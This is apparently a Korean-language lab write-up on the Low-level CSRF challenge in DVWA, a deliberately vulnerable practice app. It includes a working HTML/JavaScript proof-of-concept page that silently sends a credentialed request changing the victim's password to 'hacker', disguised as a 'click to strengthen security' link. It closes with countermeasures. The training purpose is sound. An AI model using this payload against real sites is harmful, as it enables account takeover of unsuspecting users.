[DVWA] - Cross Site Request Forgery (CSRF) Low 단계
Cross Site Request Forgery (CSRF)
CSRF 취약점의 공격방법은 공격자가 피싱을 통하여 공격 대상이 되는 사용자에게 악성 링크를 누르게 하고, 악성 링크를 클릭하면 사용자가 자신도 모르게 자기가 로그인 되어있는 웹 사이트의 어떤 기능을 동작하게 하는 것이다.
CSRF 공격은 사용자가 웹 사이트에 정상적으로 접속하고 로그인되어 있는 상태여야지만 공격이 가능하다.
이 페이지는 사용자의 패스워드를 변경하는 사이트이다.
admin의 패스워드를 test로 한번 바꾸고 버프 스위트의 프록시 기능을 이용하여 확인하겠다.
그림 2번을 보면 GET요청으로 password_new, password_conf 파라미터에 우리가 입력한 test가 전송이되고 Change 파라미터에는 Change라는 값이 전달된다. 그리고 쿠키는 security, security_level, BEEFHOOK, PHPSESSID가 전달이 되고 있다.
CSRF POC코드로 패스워드를 변경시켜 보겠다.
CSRF POC 코드
<html>
<meta charset="UTF-8">
<head>
</head>
<script language="javascript">
function poc() {
var host='패스워드를 변경할 사이트 주소';
var req_uri = "http://" + host + "/dvwa/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change";
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET",req_uri,true);
xmlhttp.withCredentials = "true";
xmlhttp.send();
alert('Done!!');
}
</script>
<body>
(CSRF 공격 예제)<br />
이 링크를 누르시면 보안이 강화됩니다!!<br />
<a href="javascript:poc()">Click!</a><br />
</body>
</html>
스크립트 태그에서 패스워드 관련 파라미터를 test에서 hacker라는 문자열로 변경하였다.
만약 CSRF공격이 성공한다면 사용자의 패스워드가 test에서 hacker로 바뀔것이다.
자바스크립트의 XMLHttpRequest()를 사용한 AJAX기법을 이용하여 poc코드가 호출될 때 새로운 요청이 전송되도록 만든다.
withCredientials 속성을 true로 설정을 하여, 요청이 전송될 때 웹 브라우저가 쿠키를 자동으로 전달하도록 설정하였다.
바디부분에 click!버튼을 누르면 poc코드가 실행되도록 하였다.
공격자가 사용자에게 해당 악성 링크를 보냈고 사용자가 해당 링크에 들어갔다고 가정한다.
사용자가 공격자가 보낸 악성 링크로 접속을 하였고 보안을 강화시키기 위해 Click! 버튼을 누른다.
사용자가 click! 버튼을 누른 후 패킷을 확인해보면 password_new, password_conf가 hacker로 설정되어있고 Change 파라미터는 Change로 설정되어있어서 기존의 패스워드인 test가 hacker로 바뀔 것이다.
패스워드를 test로 입력을 하여 접속을 시도하였지만 패스워드가 변경이 되어 로그인 되지 않는다.
패스워드를 hacker로 입력을 하니 정상적으로 로그인이 되어 공격이 성공했다는 것을 알 수 있다.
대응방안
1. 요청 메시지의 레퍼러 헤더를 검사하여, 웹 메일이나 타 사이트에서 피싱을 당해 저송되는 요청을 실행하지 않는다.
2. CSRF 토큰을 사용한다.
3. 사용자가 패스워드를 변경할 때 기존 패스워드도 같이 입력받도록 하기